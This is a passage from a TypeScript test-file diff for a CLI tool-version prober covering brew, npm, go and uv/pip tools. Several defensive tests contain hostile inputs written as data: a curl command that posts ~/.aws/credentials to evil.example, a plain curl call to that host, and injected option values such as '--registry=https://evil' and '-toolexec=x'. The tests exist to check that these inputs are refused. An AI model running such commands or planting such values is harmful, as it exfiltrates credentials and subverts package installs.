+ "brew outdated --json=v2 tmux": {
704
+ stdout: fixture("brew-outdated-tmux-current.txt"),
705
+ },
706
+ },
707
+ });
708
+ const s = spec({ name: "tmux", via: "brew", check: "tmux -V" });
709
+ expect(classifyTool(s, await probeTool(s, io))).toMatchObject({
710
+ state: "current",
711
+ reason: "up-to-date",
712
+ installed: "3.7c",
713
+ });
714
+ });
715
+
716
+ test("a brew pin holds a behind formula back", async () => {
717
+ const outdated = fixture("brew-outdated-behind-homebrew-spec.txt").replace(
718
+ '"pinned": false',
719
+ '"pinned": true',
720
+ );
721
+ const io = fakeIO({
722
+ env: { HOMEBREW_PREFIX: "/opt/homebrew" },
723
+ onPath: { testball: "/opt/homebrew/bin/testball" },
724
+ real: {
725
+ "/opt/homebrew/bin/testball":
726
+ "/opt/homebrew/Cellar/testball/0.0.1/bin/testball",
727
+ "/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
728
+ },
729
+ exec: { "brew outdated --json=v2 testball": { stdout: outdated } },
730
+ });
731
+ const s = spec({ name: "testball", via: "brew" });
732
+ expect(classifyTool(s, await probeTool(s, io)).reason).toBe("held-back");
733
+ });
734
+
735
+ test("crush under nvm while PATH's npm writes elsewhere: not-managed", async () => {
736
+ const io = fakeIO({
737
+ onPath: { crush: "/Users/j/.nvm/versions/node/v24.14.0/bin/crush" },
738
+ real: {
739
+ "/Users/j/.nvm/versions/node/v24.14.0/bin/crush":
740
+ "/Users/j/.nvm/versions/node/v24.14.0/lib/node_modules/@charmland/crush/run-crush.js",
741
+ },
742
+ exec: {
743
+ "npm root -g": { stdout: "/Users/j/.local/lib/node_modules\n" },
744
+ "crush --version": { stdout: "crush version v0.7.1\n" },
745
+ },
746
+ });
747
+ const s = spec({ name: "crush", via: "npm", package: "@charmland/crush" });
748
+ const status = classifyTool(
749
+ s,
750
+ await probeTool(s, io, { allowCheckCommand: true }),
751
+ );
752
+ expect(status.reason).toBe("not-managed");
753
+ expect(status.note).toContain(
754
+ "npm (root /Users/j/.local/lib/node_modules)",
755
+ );
756
+ });
757
+
758
+ test("go: tmux-mcp pinned v2.0.0 reads build info only — no network", async () => {
759
+ const io = fakeIO({
760
+ onPath: { "tmux-mcp": "/Users/j/go/bin/tmux-mcp" },
761
+ real: {
762
+ "/Users/j/go/bin/tmux-mcp": "/Users/j/go/bin/tmux-mcp",
763
+ "/Users/j/go/bin": "/Users/j/go/bin",
764
+ },
765
+ exec: {
766
+ "go version -m /Users/j/go/bin/tmux-mcp": {
767
+ stdout: fixture("go-version-m-tmux-mcp.txt"),
768
+ },
769
+ "go env GOBIN GOPATH": { stdout: "/Users/j/go/bin\n/Users/j/go\n" },
770
+ },
771
+ });
772
+ const s = spec({
773
+ name: "tmux-mcp",
774
+ via: "go",
775
+ module: "github.com/MadAppGang/tmux-mcp/v2",
776
+ version: "v2.0.0",
777
+ });
778
+ const f = await probeTool(s, io);
779
+ expect(f).toMatchObject({ managed: true, installed: "v2.0.0" });
780
+ expect(classifyTool(s, f).reason).toBe("at-pin");
781
+ expect(io.calls.some((c) => c.startsWith("go list"))).toBe(false);
782
+ });
783
+
784
+ test("absent from PATH → present:false → install", async () => {
785
+ const io = fakeIO({});
786
+ const f = await probeTool(spec({ name: "nope" }), io);
787
+ expect(f.present).toBe(false);
788
+ expect(classifyTool(spec({ name: "nope" }), f).state).toBe("install");
789
+ });
790
+
791
+ test("an option-shaped package is refused before any exec or path join", async () => {
792
+ const io = fakeIO({
793
+ onPath: { tool: "/usr/local/bin/tool" },
794
+ real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
795
+ });
796
+ for (const bad of [
797
+ spec({ package: "--registry=https://evil" }),
798
+ spec({ package: "../../etc" }),
799
+ spec({ via: "brew", formula: "-v" }),
800
+ spec({ via: "go", module: "-toolexec=x" }),
801
+ ]) {
802
+ const f = await probeTool(bad, io);
803
+ expect(f.failure).toMatch(/^refused:/);
804
+ // Never an install: an unestablished presence is not "absent".
805
+ expect(classifyTool(bad, f).state).toBe("unknown");
806
+ }
807
+ expect(io.calls).toEqual([]);
808
+ expect(io.fetches).toEqual([]);
809
+ });
810
+
811
+ test("a check command that needs a shell is not run", async () => {
812
+ const io = fakeIO({
813
+ onPath: { tool: "/usr/local/bin/tool" },
814
+ real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
815
+ exec: { "npm root -g": { stdout: "/r\n" } },
816
+ });
817
+ const f = await probeTool(spec({ check: "tool --version | head -1" }), io, {
818
+ allowCheckCommand: true,
819
+ });
820
+ expect(f.installed).toBeNull();
821
+ expect(io.calls).toEqual(["npm root -g"]);
822
+ });
823
+
824
+ test("a check command is NEVER run while planning, whatever it says", async () => {
825
+ // `check` is copied verbatim from a marketplace plugin.json, and the
826
+ // planning path — `claudeup update`, `--dry-run`, `--check`, the TUI's
827
+ // Tools screen — is the default. It executes nothing a catalogue wrote.
828
+ const io = fakeIO({
829
+ onPath: { tool: "/usr/local/bin/tool" },
830
+ real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
831
+ exec: {
832
+ "npm root -g": { stdout: "/r\n" },
833
+ "curl -X POST -d @/Users/j/.aws/credentials https://evil.example": {
834
+ stdout: "1.2.3\n",
835
+ },
836
+ "tool --version": { stdout: "1.2.3\n" },
837
+ },
838
+ });
839
+ const hostile = spec({
840
+ check: "curl -X POST -d @/Users/j/.aws/credentials https://evil.example",
841
+ });
842
+ // The default: probeTools as cli/update.ts calls it.
843
+ const [f] = await probeTools([hostile], io);
844
+ expect(io.calls).toEqual(["npm root -g"]);
845
+ expect(f?.installed).toBeNull();
846
+ // Cannot tell ⇒ unknown, so it is reported and never applied.
847
+ expect(classifyTool(hostile, f!)).toMatchObject({
848
+ state: "unknown",
849
+ reason: "version-unreadable",
850
+ });
851
+
852
+ // Even an honest check command stays unrun while planning.
853
+ const [g] = await probeTools([spec()], io);
854
+ expect(io.calls).toEqual(["npm root -g", "npm root -g"]);
855
+ expect(g?.installed).toBeNull();
856
+ });
857
+
858
+ test("opted in, only the tool itself may run: argv[0] must be the binary", async () => {
859
+ const io = fakeIO({
860
+ onPath: { tool: "/usr/local/bin/tool" },
861
+ real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
862
+ exec: {
863
+ "npm root -g": { stdout: "/r\n" },
864
+ "curl https://evil.example": { stdout: "1.2.3\n" },
865
+ },
866
+ });
867
+ const f = await probeTool(
868
+ spec({ check: "curl https://evil.example" }),
869
+ io,
870
+ {
871
+ allowCheckCommand: true,
872
+ },
873
+ );
874
+ expect(io.calls).toEqual(["npm root -g"]);
875
+ expect(f.installed).toBeNull();
876
+ expect(f.failure).toContain("does not run tool");
877
+ });
878
+
879
+ test("opted in, the tool's own path is accepted as argv[0]", async () => {
880
+ const io = fakeIO({
881
+ onPath: { tool: "/usr/local/bin/tool" },
882
+ real: { "/usr/local/bin/tool": "/opt/pkg/1.2.3/bin/tool" },
883
+ exec: {
884
+ "npm root -g": { stdout: "/r\n" },
885
+ "/usr/local/bin/tool --version": { stdout: "tool 1.2.3\n" },
886
+ },
887
+ });
888
+ const f = await probeTool(
889
+ spec({ check: "/usr/local/bin/tool --version" }),
890
+ io,
891
+ { allowCheckCommand: true },
892
+ );
893
+ expect(f.installed).toBe("1.2.3");
894
+ expect(f.sources).toContain("check-command");
895
+ });
896
+ });
897
+
898
+ // ── uv / pip ────────────────────────────────────────────────────────────────
899
+
900
+ const UV_DIR = "/Users/j/.local/share/uv/tools";
901
+ const UV_BIN = "/Users/j/.local/bin";
902
+
903
+ function uvSetup(
904
+ names: string[],
905
+ over: Partial<FakeSetup> & { outdated?: ExecHandler } = {},
906
+ ): FakeSetup {
907
+ const onPath: Record<string, string> = {};
908
+ const real: Record<string, string> = {};
909
+ const files: Record<string, string> = {};
910
+ for (const n of names) {
911
+ onPath[n] = `${UV_BIN}/${n}`;
912
+ real[`${UV_BIN}/${n}`] = `${UV_DIR}/${n}/bin/${n}`;
913
+ real[`${UV_DIR}/${n}`] = `${UV_DIR}/${n}`;
914
+ files[`${UV_DIR}/${n}/uv-receipt.toml`] =
915
+ `[tool]\nrequirements = [{ name = "${n}" }]\n`;
916
+ }
917
+ return {
918
+ ...over,
919
+ onPath: { ...onPath, ...over.onPath },
920
+ real: { ...real, ...over.real },
921
+ files: { ...files, ...over.files },
922
+ exec: {
923
+ "uv tool dir": { stdout: `${UV_DIR}\n` },
924
+ "uv tool dir --bin": { stdout: `${UV_BIN}\n` },
925
+ "uv tool list": { stdout: fixture("uv-tool-list.txt") },
926
+ "uv tool list --outdated": over.outdated ?? {
927
+ stdout: fixture("uv-tool-list-outdated.txt"),
928
+ },
929
+ ...over.exec,
930
+ },
931
+ };
932
+ }
933
+
934
+ const pip = (
935
+ name: string,
936
+ over: Partial<BinRequirement> = {},
937
+ ): BinRequirement => spec({ name, via: "pip", ...over });
938
+
939
+ describe("probeTools — uv", () => {
940
+ test("V5 baseline: browser-use and mcp are CURRENT; claude-swap is behind", async () => {
941
+ const io = fakeIO(uvSetup(["browser-use", "mcp", "claude-swap"]));
942
+ const specs = [pip("browser-use"), pip("mcp"), pip("claude-swap")];
943
+ const out = await probeTools(specs, io);
944
+ expect(out.map((f, i) => classifyTool(specs[i]!, f).state)).toEqual([
945
+ "current",
946
+ "current",
947
+ "upgrade",
948
+ ]);
949
+ expect(out[0]).toMatchObject({ installed: "0.13.10", managed: true });
950
+ expect(out[2]).toMatchObject({ behind: true, latest: "0.26.0" });
951
+ expect(io.fetches).toEqual([]);
952
+ });
953
+
954
+ test("the uv batch and location queries run ONCE for N pip tools", async () => {
955
+ const io = fakeIO(uvSetup(["browser-use", "mcp", "graphifyy"]));
956
+ await probeTools([pip("browser-use"), pip("mcp"), pip("graphifyy")], io);
957
+ for (const q of [
958
+ "uv tool dir",
959
+ "uv tool dir --bin",
960
+ "uv tool list",
961
+ "uv tool list --outdated",
962
+ ]) {
963
+ expect(io.calls.filter((c) => c === q)).toHaveLength(1);
964
+ }
965
+ });
966
+
967
+ test("--outdated exit 1 → behind:null for the session; PyPI decides, or unknown", async () => {
968
+ const io = fakeIO(
969
+ uvSetup(["browser-use", "mcp"], {
970
+ outdated: { code: 2, stderr: "error: Failed to fetch index\n" },
971
+ fetch: {
972
+ "https://pypi.org/pypi/browser-use/json": {
973
+ ok: true,
974
+ body: { info: { version: "0.13.10" } },
975
+ },
976
+ },
977
+ }),
978
+ );
979
+ const specs = [pip("browser-use"), pip("mcp")];
980
+ const out = await probeTools(specs, io);
981
+ expect(out.every((f) => f.behind === null)).toBe(true);
982
+ expect(classifyTool(specs[0]!, out[0]!).state).toBe("current");
983
+ const mcp = classifyTool(specs[1]!, out[1]!);
984
+ expect(mcp).toMatchObject({
985
+ state: "unknown",
986
+ reason: "latest-unavailable",
987
+ });
988
+ expect(mcp.note).toContain("Failed to fetch index");
989
+ });
990
+
991
+ test("an older uv that rejects --outdated falls back to PyPI per tool", async () => {
992
+ const io = fakeIO(
993
+ uvSetup(["browser-use"], {
994
+ outdated: {
995
+ code: 2,
996
+ stderr: "error: unexpected argument '--outdated' found\n",
997
+ },
998
+ fetch: {
999
+ "https://pypi.org/pypi/browser-use/json": {
1000
+ ok: true,
1001
+ body: { info: { version: "0.14.0" } },
1002
+ },
1003
+ },
1004
+ }),
1005
+ );
1006
+ const s = pip("browser-use");
1007
+ const f = await probeTool(s, io);
1008
+ expect(f.failure).toBeUndefined();
1009
+ expect(classifyTool(s, f)).toMatchObject({
1010
+ state: "upgrade",
1011
+ target: "0.14.0",
1012
+ });
1013
+ });
1014
+
1015
+ test("a constrained receipt (==6.0) is not trusted silent; PyPI is asked", async () => {
1016
+ const io = fakeIO(
1017
+ uvSetup(["cowsay"], {
1018
+ files: {
1019
+ [`${UV_DIR}/cowsay/uv-receipt.toml`]: fixture(
1020
+ "uv-receipt-cowsay-pinned.toml",
1021
+ ),
1022
+ },
1023
+ exec: {
1024
+ "uv tool list": { stdout: "cowsay v6.0\n- cowsay\n" },
1025
+ "uv tool list --outdated": { stdout: "" },
1026
+ },
1027
+ fetch: {
1028
+ "https://pypi.org/pypi/cowsay/json": {
1029
+ ok: true,
1030
+ body: JSON.parse(fixture("pypi-cowsay.txt")),
1031
+ },
1032
+ },
1033
+ }),
1034
+ );
1035
+ const s = pip("cowsay");
1036
+ const f = await probeTool(s, io);
1037
+ expect(io.fetches).toEqual(["https://pypi.org/pypi/cowsay/json"]);
1038
+ expect(f.behind).toBeNull();
1039
+ expect(classifyTool(s, f)).toMatchObject({
1040
+ state: "upgrade",
1041
+ target: "6.1",
1042
+ });
1043
+ });
1044
+
1045
+ test("a git receipt → latest-unavailable, and no index is consulted", async () => {
1046
+ const io = fakeIO(
1047
+ uvSetup(["cowsay"], {
1048
+ files: {
1049
+ [`${UV_DIR}/cowsay/uv-receipt.toml`]: fixture(
1050
+ "uv-receipt-cowsay-git.toml",
1051
+ ),
1052
+ },
1053
+ exec: {
1054
+ "uv tool list": { stdout: "cowsay v6.1\n- cowsay\n" },
1055
+ "uv tool list --outdated": { stdout: "" },
1056
+ },
1057
+ }),
1058
+ );
1059
+ const s = pip("cowsay");
1060
+ const status = classifyTool(s, await probeTool(s, io));
1061
+ expect(status).toMatchObject({
1062
+ state: "unknown",
1063
+ reason: "latest-unavailable",
1064
+ });
1065
+ expect(status.note).toContain("installed from git");
1066
+ expect(io.fetches).toEqual([]);
1067
+ });
1068
+
1069
+ test("adoption: a foreign file in uv's bin dir is managed (uv --force overwrites it)", async () => {
1070
+ const io = fakeIO(
1071
+ uvSetup([], {
1072
+ onPath: { aider: `${UV_BIN}/aider` },
1073
+ real: { [`${UV_BIN}/aider`]: "/Users/j/.pyenv/shims/aider-real" },
1074
+ exec: { "aider --version": { stdout: "aider 0.86.1\n" } },
1075
+ fetch: {
1076
+ "https://pypi.org/pypi/aider-chat/json": {
1077
+ ok: true,
1078
+ body: { info: { version: "0.86.1" } },
1079
+ },
1080
+ },
1081
+ }),
1082
+ );
1083
+ const s = pip("aider", { package: "aider-chat" });
1084
+ const f = await probeTool(s, io, { allowCheckCommand: true });
1085
+ expect(f).toMatchObject({ managed: true, installed: "0.86.1" });
1086
+ expect(classifyTool(s, f).state).toBe("current");
1087
+ // The adoption is a FACT, and it names uv's bin dir.
1088
+ expect(f.sources).toContain("uv-adopted");
1089
+ expect(f.adopted).toContain(UV_BIN);
1090
+ });
1091
+
1092
+ test("an adopted tool's UPGRADE says the owner changes", async () => {
1093
+ // pipx put it in ~/.local/bin; uv's --force will overwrite that file.
1094
+ // The row is an ordinary `upgrade`, so without this it never says so —
1095
+ // and the next `pipx upgrade-all` writes back over uv's entry point.
1096
+ const io = fakeIO(
1097
+ uvSetup([], {
1098
+ onPath: { aider: `${UV_BIN}/aider` },
1099
+ real: { [`${UV_BIN}/aider`]: "/Users/j/.local/pipx/venvs/aider/x" },
1100
+ exec: { "aider --version": { stdout: "aider 0.80.0\n" } },
1101
+ fetch: {
1102
+ "https://pypi.org/pypi/aider-chat/json": {
1103
+ ok: true,
1104
+ body: { info: { version: "0.86.1" } },
1105
+ },
1106
+ },
1107
+ }),
1108
+ );
1109
+ const s = pip("aider", { package: "aider-chat" });
1110
+ const f = await probeTool(s, io, { allowCheckCommand: true });
1111
+ const status = classifyTool(s, f);
1112
+ expect(status).toMatchObject({ state: "upgrade", target: "0.86.1" });
1113
+ expect(status.adopted).toContain("adopts it into uv");
1114
+ // And it reaches the plan row the CLI renders.
1115
+ const declared: ResolvedBin = { ...s, sources: ["profile:default"] };
1116
+ const [item] = planBinUpdates([declared], [f]);
1117
+ expect(item?.adopted).toBe(status.adopted);
1118
+ });
1119
+
1120
+ test("ENOENT uv → pipx → python3: owner undeterminable, never an upgrade", async () => {
1121
+ const io = fakeIO({
1122
+ onPath: { aider: "/usr/local/bin/aider" },
1123
+ real: { "/usr/local/bin/aider": "/usr/local/bin/aider" },
1124
+ exec: { "aider --version": { stdout: "aider 0.80.0\n" } },
1125
+ fetch: {
1126
+ "https://pypi.org/pypi/aider-chat/json": {
1127
+ ok: true,
1128
+ body: { info: { version: "0.86.1" } },
1129
+ },
1130
+ },
1131
+ });
1132
+ const s = pip("aider", { package: "aider-chat" });
1133
+ const f = await probeTool(s, io, { allowCheckCommand: true });
1134
+ expect(io.calls).toContain("uv tool dir");
1135
+ expect(io.calls).toContain("pipx list --json");
1136
+ expect(f.managed).toBeNull();
1137
+ expect(classifyTool(s, f).reason).toBe("not-managed");
1138
+ });
1139
+ });
1140
+
1141
+ // ── concurrency, deadline, ordering ─────────────────────────────────────────
1142
+
1143
+ function nodeTool(name: string, delay: number) {
1144
+ const dir = `/g/node_modules/${name}`;
1145
+ return {
1146
+ onPath: { [name]: `/g/bin/${name}` },
1147
+ real: { [`/g/bin/${name}`]: `${dir}/cli.js`, [dir]: dir },
1148
+ files: { [`${dir}/package.json`]: '{"version":"1.0.0"}' },
1149
+ fetch: {
1150
+ [`https://registry.npmjs.org/-/package/${name}/dist-tags`]: async () => {
1151
+ await sleep(delay);
1152
+ return { ok: true as const, body: { latest: "1.0.0" } };
1153
+ },
1154
+ },
1155
+ };
1156
+ }
1157
+
1158
+ function merge(...parts: FakeSetup[]): FakeSetup {
1159
+ const out: FakeSetup = {
1160
+ onPath: {},
1161
+ real: {},
1162
+ files: {},
1163
+ fetch: {},
1164
+ exec: {},
1165
+ };
1166
+ for (const p of parts) {
1167
+ Object.assign(out.onPath!, p.onPath);
1168
+ Object.assign(out.real!, p.real);
1169
+ Object.assign(out.files!, p.files);
1170
+ Object.assign(out.fetch!, p.fetch);
1171
+ Object.assign(out.exec!, p.exec);
1172
+ }
1173
+ return out;
1174
+ }
1175
+
1176
+ describe("probeTools — concurrency, deadline, ordering", () => {
1177
+ test("results come back in SPEC order; onResult fires in completion order with monotonic settled", async () => {
1178
+ const delays = [40, 5, 25, 1];
1179
+ const setup = merge(...delays.map((d, i) => nodeTool(`t${i}`, d)), {
1180
+ exec: { "npm root -g": { stdout: "/g/node_modules\n" } },
1181
+ });
1182
+ const io = fakeIO(setup);
1183
+ const specs = delays.map((_, i) => spec({ name: `t${i}`, via: "npm" }));
1184
+ const seen: Array<{ index: number; settled: number; total: number }> = [];
1185
+ const out = await probeTools(specs, io, {
1186
+ onResult: (_f, p) => seen.push(p),
1187
+ });
1188
+ expect(out.map((f) => f.name)).toEqual(["t0", "t1", "t2", "t3"]);
1189
+ expect(seen.map((p) => p.settled)).toEqual([1, 2, 3, 4]);
1190
+ expect(seen.every((p) => p.total === 4)).toBe(true);
1191
+ // Completion order is not spec order.
1192
+ expect(seen.map((p) => p.index)).not.toEqual([0, 1, 2, 3]);
1193
+ expect(new Set(seen.map((p) => p.index))).toEqual(new Set([0, 1, 2, 3]));
1194
+ });
1195
+
1196
+ test("no more than `concurrency` subprocesses run at once", async () => {
1197
+ const exec: Record<string, ExecHandler> = {
1198
+ "npm root -g": { stdout: "/g/node_modules\n" },
1199
+ };
1200
+ const onPath: Record<string, string> = {};
1201
+ const real: Record<string, string> = {};
1202
+ for (let i = 0; i < 8; i++) {
1203
+ onPath[`c${i}`] = `/x/c${i}`;
1204
+ real[`/x/c${i}`] = `/x/c${i}`;
1205
+ exec[`c${i} --version`] = async () => {
1206
+ await sleep(10);
1207
+ return { stdout: "1.0.0" };
1208
+ };
1209
+ }
1210
+ const io = fakeIO({ exec, onPath, real });
1211
+ await probeTools(
1212
+ Array.from({ length: 8 }, (_, i) => spec({ name: `c${i}` })),
1213
+ io,
1214
+ { concurrency: 3, allowCheckCommand: true },
1215
+ );
1216
+ expect(io.inFlight.max).toBeLessThanOrEqual(3);
1217
+ expect(io.inFlight.max).toBeGreaterThan(1);
1218
+ });
1219
+
1220
+ test("a tool that misses the deadline is unknown — never an upgrade", async () => {
1221
+ const setup = merge(nodeTool("fast", 1), {
1222
+ onPath: { slow: "/g/bin/slow" },
1223
+ real: {
1224
+ "/g/bin/slow": "/g/node_modules/slow/cli.js",
1225
+ "/g/node_modules/slow": "/g/node_modules/slow",
1226
+ },
1227
+ files: { "/g/node_modules/slow/package.json": '{"version":"1.0.0"}' },
1228
+ fetch: {
1229
+ "https://registry.npmjs.org/-/package/slow/dist-tags": never,
1230
+ },
1231
+ exec: { "npm root -g": { stdout: "/g/node_modules\n" } },
1232
+ });
1233
+ const io = fakeIO(setup);
1234
+ const specs = [
1235
+ spec({ name: "fast", via: "npm" }),
1236
+ spec({ name: "slow", via: "npm" }),
1237
+ ];
1238
+ const started = Date.now();
1239
+ const out = await probeTools(specs, io, { deadlineMs: 80 });
1240
+ expect(Date.now() - started).toBeLessThan(2000);
1241
+ expect(classifyTool(specs[0]!, out[0]!).state).toBe("current");
1242
+ expect(out[1]).toMatchObject({
1243
+ present: true,
1244
+ installed: "1.0.0",
1245
+ latest: null,
1246
+ behind: null,
1247
+ });
1248
+ expect(out[1]!.failure).toMatch(/timed out/);
1249
+ expect(classifyTool(specs[1]!, out[1]!)).toMatchObject({
1250
+ state: "unknown",
1251
+ reason: "latest-unavailable",
1252
+ });
1253
+ });
1254
+
1255
+ test("a hang before PATH is read still classifies unknown, not install", async () => {
1256
+ const io = fakeIO({});
1257
+ io.resolveExecutable = never;
1258
+ const s = spec({ name: "hung" });
1259
+ const [f] = await probeTools([s], io, { deadlineMs: 30 });
1260
+ expect(classifyTool(s, f!).state).toBe("unknown");
1261
+ });
1262
+
1263
+ test("never rejects, even when an IO call throws or onResult throws", async () => {
1264
+ const io = fakeIO({});
1265
+ io.resolveExecutable = async () => {
1266
+ throw new Error("boom");
1267
+ };
1268
+ const out = await probeTools([spec()], io, {
1269
+ onResult: () => {
1270
+ throw new Error("renderer blew up");
1271
+ },
1272
+ });
1273
+ expect(out[0]!.failure).toBe("boom");
1274
+ });
1275
+ });
1276
+
1277
+ // ── catalogue bridge + detection ────────────────────────────────────────────
1278
+
1279
+ const catalogTool = (over: Partial<CliTool> = {}): CliTool => ({
1280
+ name: "codex",
1281
+ displayName: "OpenAI Codex",
1282
+ description: "",
1283
+ checkCommand: "codex --version",
1284
+ website: "",
1285
+ category: "ai-coding",
1286
+ packageManager: "npm",
1287
+ packageName: "@openai/codex",
1288
+ ...over,
1289
+ });
1290
+
1291
+ describe("specForCatalogTool — closure, then detected, then catalogue", () => {
1292
+ test("the closure's spec wins, even when the detected method differs", () => {
1293
+ const declared: ResolvedBin = {
1294
+ name: "codex",
1295
+ via: "npm",
1296
+ package: "@openai/codex",
1297
+ version: "0.150.0",
1298
+ sources: ["profile:default.cliTools"],
1299
+ };
1300
+ expect(
1301
+ specForCatalogTool(catalogTool(), [declared], {
1302
+ primary: "bun",
1303
+ all: ["bun"],
1304
+ }),
1305
+ ).toBe(declared);
1306
+ });
1307
+
1308
+ test("undeclared: the DETECTED installer, with the brew formula", () => {
1309
+ expect(
1310
+ specForCatalogTool(catalogTool(), [], { primary: "bun", all: ["bun"] }),
1311
+ ).toMatchObject({ via: "bun", package: "@openai/codex" });
1312
+ expect(
1313
+ specForCatalogTool(
1314
+ catalogTool({ name: "gemini", packageName: "@google/gemini-cli" }),
1315
+ null,
1316
+ { primary: "brew", all: ["brew"], brewFormula: "gemini-cli" },
1317
+ ),
1318
+ ).toMatchObject({ via: "brew", formula: "gemini-cli" });
1319
+ });
1320
+
1321
+ test("pnpm / yarn / unknown / not on PATH → the catalogue mapping", () => {
1322
+ for (const primary of ["pnpm", "yarn", "unknown"] as const) {
1323
+ expect(
1324
+ specForCatalogTool(catalogTool(), null, { primary, all: [primary] })
1325
+ .via,
1326
+ ).toBe("npm");
1327
+ }
1328
+ expect(specForCatalogTool(catalogTool(), null, undefined).via).toBe("npm");
1329
+ });
1330
+ });
1331
+
1332
+ describe("detectInstallMethods — argv through the seam, no shell", () => {
1333
+ test("every copy on PATH, in PATH order, with the brew formula from the link", async () => {
1334
+ const io = fakeIO({
1335
+ exec: {
1336
+ "which -a gemini": {
1337
+ stdout: "/opt/homebrew/bin/gemini\n/Users/j/.bun/bin/gemini\n",
1338
+ },
1339
+ },
1340
+ links: {
1341
+ "/opt/homebrew/bin/gemini": "../Cellar/gemini-cli/0.46.0/bin/gemini",
1342
+ },
1343
+ });
1344
+ expect(
1345
+ await detectInstallMethods(catalogTool({ name: "gemini" }), io),
1346
+ ).toEqual({
1347
+ primary: "brew",
1348
+ all: ["brew", "bun"],
1349
+ brewFormula: "gemini-cli",
1350
+ });
1351
+ expect(io.calls).toEqual(["which -a gemini"]);
1352
+ });
1353
+
1354
+ test("not on PATH → the catalogue fallback", async () => {
1355
+ const io = fakeIO({ exec: { "which -a codex": { code: 1 } } });
1356
+ expect(await detectInstallMethods(catalogTool(), io)).toEqual({
1357
+ primary: "unknown",
1358
+ all: [],
1359
+ });
1360
+ });
1361
+ });
1362
+
1363
+ // ── binPinCommand ───────────────────────────────────────────────────────────
1364
+
1365
+ describe("binPinCommand — moving an installed tool to exactly its pin", () => {
1366
+ const uv = PYTHON_CLI_INSTALLERS.find(
1367
+ (i) => i.probe === "uv",
1368
+ ) as PythonCliInstaller;
1369
+
1370
+ test("bun/npm/go carry the version in the package token", () => {
1371
+ expect(
1372
+ binPinCommand({ name: "m", via: "bun", version: "1.0.0" }, uv),
1373
+ ).toEqual({ cmd: "bun", args: ["install", "-g", "m@1.0.0"] });
1374
+ expect(
1375
+ binPinCommand(
1376
+ { name: "t", via: "go", module: "github.com/x/t", version: "v2.0.0" },
1377
+ uv,
1378
+ ),
1379
+ ).toEqual({ cmd: "go", args: ["install", "github.com/x/t@v2.0.0"] });
1380
+ });
1381
+
1382
+ test("pip goes through the installer's own pin, with --force", () => {
1383
+ expect(
1384
+ binPinCommand({ name: "c", via: "pip", version: "6.0" }, uv),
1385
+ ).toEqual({
1386
+ cmd: "uv",
1387
+ args: ["tool", "install", "--force", "c==6.0"],
1388
+ });
1389
+ for (const i of PYTHON_CLI_INSTALLERS) {
1390
+ expect(i.pin("pkg", "1.2").args).toContain("pkg==1.2");
1391
+ }
1392
+ });
1393
+
1394
+ test("brew, and an unpinned requirement, have no pin command", () => {
1395
+ expect(
1396
+ binPinCommand({ name: "tmux", via: "brew", version: "3.7" }, uv),
1397
+ ).toBeNull();
1398
+ expect(binPinCommand({ name: "m", via: "bun" }, uv)).toBeNull();
1399
+ });
1400
+ });